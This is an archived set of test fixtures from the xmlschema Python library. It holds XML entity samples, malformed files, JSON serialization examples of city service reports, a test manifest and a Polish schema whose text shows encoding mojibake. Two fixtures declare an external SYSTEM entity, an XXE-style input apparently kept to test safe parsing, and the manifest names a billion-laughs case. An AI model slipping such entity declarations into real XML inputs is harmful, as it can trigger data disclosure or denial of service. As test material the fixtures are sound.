������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/resources/���������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0020776�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/resources/dummy file.txt�������������������������������������������0000664�0000000�0000000�00000000015�15020401055�0023566�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������DUMMY CONTENT�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/resources/dummy file.xml�������������������������������������������0000664�0000000�0000000�00000000032�15020401055�0023546�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<root>DUMMY CONTENT</root>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/resources/external_entity.xml��������������������������������������0000664�0000000�0000000�00000000253�15020401055�0024736�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ELEMENT root (#PCDATA)> <!ENTITY ee SYSTEM "http://www.w3schools.com/xml/note.xml"> ]> <root>ⅇ</root> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/resources/malformed.xml��������������������������������������������0000664�0000000�0000000�00000000024�15020401055�0023462�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<malformed_xml_file>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/resources/malformed.xsd��������������������������������������������0000664�0000000�0000000�00000000274�15020401055�0023467�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" vc:minVersion="1.0"> </xsd:schem>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/resources/unparsed_entity.xml��������������������������������������0000664�0000000�0000000�00000000464�15020401055�0024741�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ELEMENT root (image)> <!ELEMENT image EMPTY> <!ATTLIST image source ENTITY #REQUIRED> <!NOTATION GIF SYSTEM "Logo in GIF format" > <!ENTITY logo_file SYSTEM "logo.gif" NDATA GIF> ]> <root> <image source="logo_file"/> </root> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/resources/unused_external_entity.xml�������������������������������0000664�0000000�0000000�00000000252�15020401055�0026320�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ELEMENT root (#PCDATA)> <!ENTITY ee SYSTEM "http://www.w3schools.com/xml/note.xml"> ]> <root>abc</root> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/resources/unused_unparsed_entity.xml�������������������������������0000664�0000000�0000000�00000000416�15020401055�0026321�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ELEMENT root (image)*> <!ELEMENT image EMPTY> <!ATTLIST image source ENTITY #REQUIRED> <!NOTATION GIF SYSTEM "Logo in GIF format" > <!ENTITY logo_file SYSTEM "logo.gif" NDATA GIF> ]> <root/> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/resources/with_entity.xml������������������������������������������0000664�0000000�0000000�00000000201�15020401055�0024060�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ELEMENT root (#PCDATA)> <!ENTITY e "abc" > ]> <root>&e;</root> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/serialization/�����������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0021641�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/serialization/abdera.json������������������������������������������0000664�0000000�0000000�00000010716�15020401055�0023757�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "reports": { "entry": [{ "id": "tag:open311.sfgov.org,2010-04-15:\/dev\/V1\/reports\/637619.xml", "title": "A large tree branch is blocking the road", "updated": "2010-04-13T18:30:02-05:00", "link": { "attributes": { "rel": "self", "href": "http:\/\/open311.sfgov.org\/dev\/V1\/reports\/637619.xml" } }, "author": { "name": "John Doe" }, "georss:point": "40.7111 -73.9565", "category": { "attributes": { "label": "Damaged tree", "term": "tree-damage", "scheme": "https:\/\/open311.sfgov.org\/dev\/V1\/categories\/006.xml" }, "children": ["006"] }, "content": { "children": [{ "report_id": "637619", "address": "1600 Market St, San Francisco, CA 94103", "description": "A large tree branch is blocking the road", "status": "created", "status_notes": [], "policy": "The City will inspect and require the responsible party to correct within 24 hours and\/or issue a Correction Notice or Notice of Violation of the Public Works Code" }], "attributes": { "type": "xml" } } }, { "id": "tag:open311.sfgov.org,2010-04-15:\/dev\/V1\/reports\/637620.xml", "title": "A large tree branch is blocking the road", "updated": "2010-04-13T18:30:02-05:00", "link": { "attributes": { "rel": "self", "href": "http:\/\/open311.sfgov.org\/dev\/V1\/reports\/637620.xml" } }, "author": { "name": "John Doe" }, "georss:point": "40.7111 -73.9565", "category": { "attributes": { "label": "Damaged tree", "term": "tree-damage", "scheme": "https:\/\/open311.sfgov.org\/dev\/V1\/categories\/006.xml" }, "children": ["006"] }, "content": { "children": [{ "report_id": "637620", "address": "56 Market St, San Francisco, CA 94103", "description": "A large tree branch is blocking the road", "status": "created", "status_notes": [], "policy": "The City will inspect and require the responsible party to correct within 24 hours and\/or issue a Correction Notice or Notice of Violation of the Public Works Code" }], "attributes": { "type": "xml" } } }, { "id": "tag:open311.sfgov.org,2010-04-15:\/dev\/V1\/reports\/637621.xml", "title": "A large tree branch is blocking the road", "updated": "2010-04-13T18:30:02-05:00", "link": { "attributes": { "rel": "self", "href": "http:\/\/open311.sfgov.org\/dev\/V1\/reports\/637621.xml" } }, "author": { "name": "John Doe" }, "georss:point": "40.7111 -73.9565", "category": { "attributes": { "label": "Damaged tree", "term": "tree-damage", "scheme": "https:\/\/open311.sfgov.org\/dev\/V1\/categories\/006.xml" }, "children": ["006"] }, "content": { "children": [{ "report_id": "637621", "address": "1800 Market St, San Francisco, CA 94103", "description": "A large tree branch is blocking the road", "status": "created", "status_notes": [], "policy": "The City will inspect and require the responsible party to correct within 24 hours and\/or issue a Correction Notice or Notice of Violation of the Public Works Code" }], "attributes": { "type": "xml" } } }] } }��������������������������������������������������xmlschema-4.1.0/tests/test_cases/serialization/badgerfish.json��������������������������������������0000664�0000000�0000000�00000012541�15020401055�0024635�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "reports": { "@xmlns": { "$": "http://www.w3.org/2005/Atom", "georss": "http://www.georss.org/georss" }, "entry": [{ "id": { "$": "tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637619.xml" }, "title": { "$": "A large tree branch is blocking the road" }, "updated": { "$": "2010-04-13T18:30:02-05:00" }, "link": { "@rel": "self", "@href": "http://open311.sfgov.org/dev/V1/reports/637619.xml" }, "author": { "name": { "$": "John Doe" } }, "georss:point": { "$": "40.7111 -73.9565" }, "category": { "@label": "Damaged tree", "@term": "tree-damage", "@scheme": "https://open311.sfgov.org/dev/V1/categories/006.xml", "$": "006" }, "content": { "@type": "xml", "@xmlns": { "$": "http://open311.org/spec/georeport-v1" }, "report_id": { "$": "637619" }, "address": { "$": "1600 Market St, San Francisco, CA 94103" }, "description": { "$": "A large tree branch is blocking the road" }, "status": { "$": "created" }, "status_notes": {}, "policy": { "$": "The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" } } }, { "id": { "$": "tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637620.xml" }, "title": { "$": "A large tree branch is blocking the road" }, "updated": { "$": "2010-04-13T18:30:02-05:00" }, "link": { "@rel": "self", "@href": "http://open311.sfgov.org/dev/V1/reports/637620.xml" }, "author": { "name": { "$": "John Doe" } }, "georss:point": { "$": "40.7111 -73.9565" }, "category": { "@label": "Damaged tree", "@term": "tree-damage", "@scheme": "https://open311.sfgov.org/dev/V1/categories/006.xml", "$": "006" }, "content": { "@type": "xml", "@xmlns": { "$": "http://open311.org/spec/georeport-v1" }, "report_id": { "$": "637620" }, "address": { "$": "56 Market St, San Francisco, CA 94103" }, "description": { "$": "A large tree branch is blocking the road" }, "status": { "$": "created" }, "status_notes": {}, "policy": { "$": "The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" } } }, { "id": { "$": "tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637621.xml" }, "title": { "$": "A large tree branch is blocking the road" }, "updated": { "$": "2010-04-13T18:30:02-05:00" }, "link": { "@rel": "self", "@href": "http://open311.sfgov.org/dev/V1/reports/637621.xml" }, "author": { "name": { "$": "John Doe" } }, "georss:point": { "$": "40.7111 -73.9565" }, "category": { "@label": "Damaged tree", "@term": "tree-damage", "@scheme": "https://open311.sfgov.org/dev/V1/categories/006.xml", "$": "006" }, "content": { "@type": "xml", "@xmlns": { "$": "http://open311.org/spec/georeport-v1" }, "report_id": { "$": "637621" }, "address": { "$": "1800 Market St, San Francisco, CA 94103" }, "description": { "$": "A large tree branch is blocking the road" }, "status": { "$": "created" }, "status_notes": {}, "policy": { "$": "The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" } } }] } }���������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/serialization/document.xml�����������������������������������������0000664�0000000�0000000�00000007115�15020401055�0024205�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml-stylesheet type="text/xsl" href="xml2json.xslt"?> <!-- A test case derived from the sample XML at http://wiki.open311.org/JSON_and_XML_Conversion/ . Used for checking different JSON serialization. The original example has been fixed by incorrect default namespace declarations. --> <reports xmlns="http://www.w3.org/2005/Atom" xmlns:georss="http://www.georss.org/georss"> <entry> <id>tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637619.xml</id> <title>A large tree branch is blocking the road 2010-04-13T18:30:02-05:00 John Doe 40.7111 -73.9565 006 637619
1600 Market St, San Francisco, CA 94103
A large tree branch is blocking the road created The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code
tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637620.xml A large tree branch is blocking the road 2010-04-13T18:30:02-05:00 John Doe 40.7111 -73.9565 006 637620
56 Market St, San Francisco, CA 94103
A large tree branch is blocking the road created The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code
tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637621.xml A large tree branch is blocking the road 2010-04-13T18:30:02-05:00 John Doe 40.7111 -73.9565 006 637621
1800 Market St, San Francisco, CA 94103
A large tree branch is blocking the road created The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code
xmlschema-4.1.0/tests/test_cases/serialization/jsonml.json000066400000000000000000000127371502040105500240500ustar00rootroot00000000000000[ "reports", { "xmlns" : "http://www.w3.org/2005/Atom", "xmlns:georss" : "http://www.georss.org/georss" }, [ "entry", [ "id", "tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637619.xml" ], [ "title", "A large tree branch is blocking the road" ], [ "updated", "2010-04-13T18:30:02-05:00" ], [ "link", { "href" : "http://open311.sfgov.org/dev/V1/reports/637619.xml", "rel" : "self" } ], [ "author", [ "name", "John Doe" ] ], [ "georss:point", "40.7111 -73.9565" ], [ "category", { "label" : "Damaged tree", "scheme" : "https://open311.sfgov.org/dev/V1/categories/006.xml", "term" : "tree-damage" }, "006" ], [ "content", { "type" : "xml", "xmlns" : "http://open311.org/spec/georeport-v1" }, [ "report_id", "637619" ], [ "address", "1600 Market St, San Francisco, CA 94103" ], [ "description", "A large tree branch is blocking the road" ], [ "status", "created" ], [ "status_notes" ], [ "policy", "The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" ] ] ], [ "entry", [ "id", "tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637620.xml" ], [ "title", "A large tree branch is blocking the road" ], [ "updated", "2010-04-13T18:30:02-05:00" ], [ "link", { "href" : "http://open311.sfgov.org/dev/V1/reports/637620.xml", "rel" : "self" } ], [ "author", [ "name", "John Doe" ] ], [ "georss:point", "40.7111 -73.9565" ], [ "category", { "label" : "Damaged tree", "scheme" : "https://open311.sfgov.org/dev/V1/categories/006.xml", "term" : "tree-damage" }, "006" ], [ "content", { "type" : "xml", "xmlns" : "http://open311.org/spec/georeport-v1" }, [ "report_id", "637620" ], [ "address", "56 Market St, San Francisco, CA 94103" ], [ "description", "A large tree branch is blocking the road" ], [ "status", "created" ], [ "status_notes" ], [ "policy", "The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" ] ] ], [ "entry", [ "id", "tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637621.xml" ], [ "title", "A large tree branch is blocking the road" ], [ "updated", "2010-04-13T18:30:02-05:00" ], [ "link", { "href" : "http://open311.sfgov.org/dev/V1/reports/637621.xml", "rel" : "self" } ], [ "author", [ "name", "John Doe" ] ], [ "georss:point", "40.7111 -73.9565" ], [ "category", { "label" : "Damaged tree", "scheme" : "https://open311.sfgov.org/dev/V1/categories/006.xml", "term" : "tree-damage" }, "006" ], [ "content", { "type" : "xml", "xmlns" : "http://open311.org/spec/georeport-v1" }, [ "report_id", "637621" ], [ "address", "1800 Market St, San Francisco, CA 94103" ], [ "description", "A large tree branch is blocking the road" ], [ "status", "created" ], [ "status_notes" ], [ "policy", "The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" ] ] ] ]xmlschema-4.1.0/tests/test_cases/serialization/parker.json000066400000000000000000000043301502040105500240200ustar00rootroot00000000000000{ "entry":[ { "id":"tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637619.xml", "title":"A large tree branch is blocking the road", "updated":"2010-04-13T18:30:02-05:00", "link":null, "author":{ "name":"John Doe" }, "georss:point":"40.7111 -73.9565", "category":"006", "content":{ "report_id":"637619", "address":"1600 Market St, San Francisco, CA 94103", "description":"A large tree branch is blocking the road", "status":"created", "status_notes":null, "policy":"The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" } }, { "id":"tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637620.xml", "title":"A large tree branch is blocking the road", "updated":"2010-04-13T18:30:02-05:00", "link":null, "author":{ "name":"John Doe" }, "georss:point":"40.7111 -73.9565", "category":"006", "content":{ "report_id":"637620", "address":"56 Market St, San Francisco, CA 94103", "description":"A large tree branch is blocking the road", "status":"created", "status_notes":null, "policy":"The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" } }, { "id":"tag:open311.sfgov.org,2010-04-15:/dev/V1/reports/637621.xml", "title":"A large tree branch is blocking the road", "updated":"2010-04-13T18:30:02-05:00", "link":null, "author":{ "name":"John Doe" }, "georss:point":"40.7111 -73.9565", "category":"006", "content":{ "report_id":"637621", "address":"1800 Market St, San Francisco, CA 94103", "description":"A large tree branch is blocking the road", "status":"created", "status_notes":null, "policy":"The City will inspect and require the responsible party to correct within 24 hours and/or issue a Correction Notice or Notice of Violation of the Public Works Code" } } ] } xmlschema-4.1.0/tests/test_cases/testfiles000066400000000000000000000153551502040105500207220ustar00rootroot00000000000000# # Test-files for xmlschema # # Each uncommented and not empty line creates a test. # # Uncomment the following line and run test_all.py to show an help: # filename --help # # Cases with schema examples examples/collection/collection.xsd --inspect --codegen examples/collection/collection.xsd --inspect --version=1.1 --codegen examples/collection/collection.xml --codegen examples/collection/collection2.xsd --inspect # key constraint examples/collection/collection2.xml --errors 1 examples/collection/collection3.xsd # key and keyref constraints examples/collection/collection3.xml --errors 1 examples/collection/collection3bis.xsd examples/collection/collection3bis.xml --errors 1 examples/collection/collection4.xml --codegen # Many XML comments inserted examples/vehicles/vehicles.xsd --inspect --codegen examples/vehicles/vehicles.xsd --inspect --version=1.1 --codegen examples/vehicles/vehicles.xml --codegen examples/vehicles/vehicles-1_error.xml --errors=1 examples/vehicles/vehicles-2_errors.xml --errors=2 examples/vehicles/vehicles-3_errors.xml --errors=3 # Cases on specific XSD or package features features/attributes/default_attributes.xsd --errors=2 features/attributes/default_attributes.xsd --version=1.1 features/attributes/default_attributes-missing_group.xsd --version=1.1 --errors=1 features/builtins/builtins.xsd features/builtins/builtins.xml features/decoder/simple-types.xsd features/decoder/data2.xml --errors=2 features/decoder/mixed-content.xsd features/decoder/data4-mixed.xml features/derivations/complex-extensions.xsd --errors=1 features/derivations/complex11-restrictions.xsd --version=1.1 features/derivations/complex-with-simple-content-restriction.xsd features/derivations/list_types.xsd --errors=1 features/derivations/list_types.xml --errors=2 features/derivations/invalid-enumeration-restriction.xsd --errors=1 features/derivations/invalid-restrictions1.xsd --errors=3 features/derivations/invalid-restrictions1.xsd --version=1.1 --errors=1 features/derivations/invalid-restrictions2.xsd --errors=1 features/derivations/invalid-restrictions2.xsd --version=1.1 --errors=1 features/elements/type_alternatives.xsd --errors=3 features/elements/type_alternatives.xsd --version=1.1 features/elements/type_alternatives-no-ns.xsd --version=1.1 features/elements/test_alternatives-1.xml --version=1.1 features/models/billion_laughs_model.xsd features/models/circular_model.xsd --errors=1 features/models/illegal-attributes.xsd --errors=1 features/models/illegal-declarations.xsd --errors=3 features/models/illegal-occurs.xsd --errors=2 features/models/invalid_models1.xsd --errors=4 features/models/invalid_models2.xsd --errors=3 features/models/model1.xml --errors=1 features/models/models.xsd features/models/recursive-groups.xsd --errors=2 # Two circular definitions features/models/valid_model1.xsd features/namespaces/default_ns_invalid.xsd --errors=1 features/namespaces/default_ns_valid1.xsd features/namespaces/default_ns_valid2.xsd features/namespaces/import-case1.xsd --errors=1 # Unknown type features/namespaces/import-case2.xsd --errors=1 # Missing namespace import in imported chameleon schema features/namespaces/import-case3.xsd features/namespaces/import-case4a.xsd features/namespaces/import-case4b.xsd features/namespaces/import-case4-1.xml # This and the next are also regression tests for issue #140 features/namespaces/import-case4-2.xml features/namespaces/include-case1.xsd features/namespaces/include-case1bis.xsd features/namespaces/include-case2.xsd features/namespaces/include-case2bis.xsd features/namespaces/include-case3.xsd features/namespaces/include-case4.xsd --errors=2 features/namespaces/include-case5.xsd features/namespaces/include-case6.xsd --errors=1 features/namespaces/include-case7.xsd --errors=1 features/namespaces/include-case8.xsd features/namespaces/included8-redefine.xsd features/namespaces/dynamic-case1-override.xsd --version=1.1 features/patterns/patterns.xsd features/patterns/patterns.xml --errors=7 # Cases from resolved issues issues/issue_008/issue_008.xsd issues/issue_008/issue_008.xml --errors=1 issues/issue_009/issue_009.xsd --errors=2 issues/issue_013/issue_013.xml issues/issue_013/issue_013-1.xml issues/issue_013/issue_013-2.xml --errors=1 # String too long issues/issue_018/issue_018.xsd --errors=2 # It's an XSD 1.1 schema issues/issue_018/issue_018.xsd --version=1.1 issues/issue_018/issue_018-1.xml --version=1.1 issues/issue_026/issue_026-1.xml issues/issue_026/issue_026-2.xml --errors=1 issues/issue_026/issue_026-3.xml --errors=1 issues/issue_028/issue_028-1.xml issues/issue_028/issue_028-2.xml --errors=1 issues/issue_029/issue_029-1.xml issues/issue_029/issue_029-2.xml --errors=1 issues/issue_029/issue_029-3.xml --errors=1 issues/issue_035/dates.xsd issues/issue_035/dates.xml --errors=1 issues/issue_041/issue_041.xsd issues/issue_041/issue_041.xml issues/issue_045/issue_045.xsd issues/issue_051/issue_051.xml issues/issue_073/issue_073-1.xml issues/issue_073/issue_073-2.xml --errors=1 issues/issue_086/issue_086-1.xml issues/issue_086/issue_086-2.xml issues/issue_105/issue_105.xsd issues/issue_203/issue_203.xsd --errors=1 issues/issue_203/issue_203.xsd --version=1.1 issues/issue_203/issue_203.xml --version=1.1 issues/issue_203/issue_203alt.xsd issues/issue_208/issue_208.xml issues/issue_222/issue_222.xsd issues/issue_222/issue_222.xml -L '' issue_222.xsd issues/issue_223/issue_223.xsd issues/issue_223/issue_223.xml -L '' issue_223.xsd --errors=1 # pattern matching with \n ending issues/issue_243/issue_243.xml --version=1.1 -L 'http://www.test.com/XMLSchema/manifest/2021' issue_243.xsd issues/issue_245/issue_245.xml --version=1.1 --errors=2 # duplicated key value with xsi:type issues/issue_245/issue_245-valid.xml --version=1.1 issues/issue_259/issue_259-2.xsd --version=1.1 issues/issue_265/issue_265-1.xsd issues/issue_265/issue_265-2-invalid.xsd --errors=1 issues/issue_265/issue_265-2-override.xsd --version=1.1 issues/issue_266/issue_266-1.xsd issues/issue_266/issue_266-1.xml issues/issue_266/issue_266-2.xsd issues/issue_266/issue_266-2.xml issues/issue_276/schema.xsd issues/issue_276/dummy.xml issues/issue_298/issue_298-1.xml -L 'http://xmlschema.test/ns' issue_298.xsd issues/issue_298/issue_298-2.xml -L 'http://xmlschema.test/ns' issue_298.xsd issues/issue_306/issue_306.xsd issues/issue_306/issue_306-alt.xsd issues/issue_311/correct_no_list.xml --version=1.1 --validation-only \ -L 'http://www.ludd21.com/kPartModel' kPartModel_reduit_issue.xsd issues/issue_311/incorrect_with_list.xml --version=1.1 --validation-only \ -L 'http://www.ludd21.com/kPartModel' kPartModel_reduit_issue.xsd issues/issue_349/issue_349.xml --errors=1 --validation-only issues/issue_349/issue_349.xml --version=1.1 issues/issue_417/issue_417.xml issues/issue_437/issue_437-1.xml --version=1.1 issues/issue_437/issue_437-2.xml --version=1.1 xmlschema-4.1.0/tests/test_cases/translations/000077500000000000000000000000001502040105500215055ustar00rootroot00000000000000xmlschema-4.1.0/tests/test_cases/translations/pl/000077500000000000000000000000001502040105500221205ustar00rootroot00000000000000xmlschema-4.1.0/tests/test_cases/translations/pl/tw-1(5)8e.xsd000066400000000000000000000531141502040105500240770ustar00rootroot00000000000000 Wniosek wierzyciela o dochodzenie należnoÅ›ci pieniężnych NagÅ‚Ă³wek wniosku TytuÅ‚ wykonawczy stosowany w egzekucji należnoÅ›ci pieniężnych TytuÅ‚ wykonawczy stosowany w egzekucji należnoÅ›ci pieniężnych Dane referencyjne tytuÅ‚u wykonawczego Dane identyfikacyjne zobowiÄ…zanego Osoba fizyczna WystÄ™puje jedynie w przypadku gdy wskazano "nastÄ™pca prawny" lub "osoba trzecia" jako rodzaj odpowiedzialnoÅ›ci zobowiÄ…zanego Podmiot niebÄ™dÄ…cy osobÄ… fizycznÄ… WystÄ™puje jedynie w przypadku gdy wskazano "nastÄ™pca prawny" lub "osoba trzecia" jako rodzaj odpowiedzialnoÅ›ci zobowiÄ…zanego Dane dotyczÄ…ce należnoÅ›ci pieniężnych Dane identyfikacyjne wierzyciela Wprowadzenie wartoÅ›ci "1" oznacza potwierdzenie treÅ›ci pouczenia Årodkami egzekucyjnymi stosowanymi w egzekucji należnoÅ›ci pieniężnych sÄ… egzekucje: z pieniÄ™dzy, z wynagrodzenia za pracÄ™, ze Å›wiadczeÅ„ z zaopatrzenia emerytalnego oraz ubezpieczenia spoÅ‚ecznego, a także z renty socjalnej, z rachunkĂ³w bankowych, z innych wierzytelnoÅ›ci pieniężnych, z praw z instrumentĂ³w finansowych w rozumieniu przepisĂ³w o obrocie instrumentami finansowymi, zapisanych na rachunku papierĂ³w wartoÅ›ciowych lub innym rachunku oraz z wierzytelnoÅ›ci z rachunku pieniężnego sÅ‚użącego do obsÅ‚ugi takich rachunkĂ³w, z papierĂ³w wartoÅ›ciowych niezapisanych na rachunku papierĂ³w wartoÅ›ciowych, z weksla, z autorskich praw majÄ…tkowych i praw pokrewnych oraz z praw wÅ‚asnoÅ›ci przemysÅ‚owej, z udziaÅ‚u w spĂ³Å‚ce z ograniczonÄ… odpowiedzialnoÅ›ciÄ…, z pozostaÅ‚ych praw majÄ…tkowych, z ruchomoÅ›ci oraz z nieruchomoÅ›ci , a od dnia 1 marca 2021 r. rĂ³wnież z praw majÄ…tkowych zarejestrowanych w rejestrze akcjonariuszy (art. 1a pkt 12 lit. a ustawy). ZobowiÄ…zanemu przysÅ‚uguje prawo wniesienia do wierzyciela, za poÅ›rednictwem organu egzekucyjnego, zarzutu w sprawie egzekucji administracyjnej. Zarzut w sprawie egzekucji administracyjnej winien okreÅ›lać istotÄ™ i zakres żądania oraz dowody uzasadniajÄ…ce to żądanie (art . 33 § 1, 2 i 4 ustawy). Zgodnie z art. 33 § 2 ustawy podstawÄ… zarzutu w sprawie egzekucji administracyjnej jest: 1) nieistnienie obowiÄ…zku; 2) okreÅ›lenie obowiÄ…zku niezgodnie z treÅ›ciÄ… obowiÄ…zku wynikajÄ…cego z: a) orzeczenia, o ktĂ³rym mowa w części D poz. 3–5 tytuÅ‚u wykonawczego, b) dokumentu, o ktĂ³rym mowa w części D poz. 3 i 4 tytuÅ‚u wykonawczego, c) przepisu prawa, jeżeli obowiÄ…zek wynika bezpoÅ›rednio z tego przepisu; 3) błąd co do zobowiÄ…zanego; 4) brak uprzedniego dorÄ™czenia zobowiÄ…zanemu upomnienia, jeżeli jest wymagane; 5) wygaÅ›niÄ™cie obowiÄ…zku w caÅ‚oÅ›ci albo w części; 6) brak wymagalnoÅ›ci obowiÄ…zku w przypadku: a) odroczenia terminu wykonania obowiÄ…zku, b) rozÅ‚ożenia na raty spÅ‚aty należnoÅ›ci pieniężnej, c) wystÄ…pienia innej przyczyny niż okreÅ›lona w lit. a i b. Wniesienie przez zobowiÄ…zanego zarzutu w sprawie egzekucji administracyjnej, nie pĂ³Åºniej niż w terminie 7 dni od dnia dorÄ™czenia odpisu/ wydruku tytuÅ‚u wykonawczego, zawiesza postÄ™powanie egzekucyjne w caÅ‚oÅ›ci albo w części z dniem dorÄ™czenia tego zarzutu organowi egzekucyjnemu do czasu zawiadomienia tego organu o wydaniu ostatecznego postanowienia w sprawie tego zarzutu (art. 35 § 1 ustawy). Wniesienie zarzutu w sprawie egzekucji administracyjnej po terminie 7 dni od dnia dorÄ™czenia odpisu/ wydruku tytuÅ‚u wykonawczego nie zawiesza postÄ™powania egzekucyjnego. Wierzyciel po otrzymaniu zarzutu w sprawie egzekucji administracyjnej może w uzasadnionych przypadkach wystÄ…pić z wnioskiem o podjÄ™cie zawieszonego postÄ™powania egzekucyjnego w caÅ‚oÅ›ci albo w części (art. 35 § 1a ustawy). W przypadku zmienionego tytuÅ‚u wykonawczego nie przysÅ‚uguje prawo zgÅ‚oszenia zarzutu w sprawie egzekucji administracyjnej. Zarzut w sprawie egzekucji administracyjnej wnosi siÄ™ nie pĂ³Åºniej niż: 1) w terminie 30 dni od dnia wyegzekwowania w caÅ‚oÅ›ci obowiÄ…zku, kosztĂ³w upomnienia i kosztĂ³w egzekucyjnych; 2) do dnia zapÅ‚aty w caÅ‚oÅ›ci należnoÅ›ci pieniężnej, odsetek z tytuÅ‚u niezapÅ‚acenia jej w terminie, kosztĂ³w upomnienia i kosztĂ³w egzekucyjnych; 3) w terminie 7 dni od dnia dorÄ™czenia zobowiÄ…zanemu postanowienia o umorzeniu postÄ™powania egzekucyjnego w caÅ‚oÅ›ci albo w części. ZobowiÄ…zany ma obowiÄ…zek niezwÅ‚ocznie zawiadomić organ egzekucyjny o zmianie adresu miejsca zamieszkania lub siedziby. W razie niewykonania tego obowiÄ…zku dorÄ™czenie pisma organu egzekucyjnego pod dotychczasowym adresem jest skuteczne (art. 36 § 3 pkt 2 i § 4 ustawy). Na zobowiÄ…zanego, ktĂ³ry nie zawiadomiÅ‚ organu egzekucyjnego o zmianie adresu 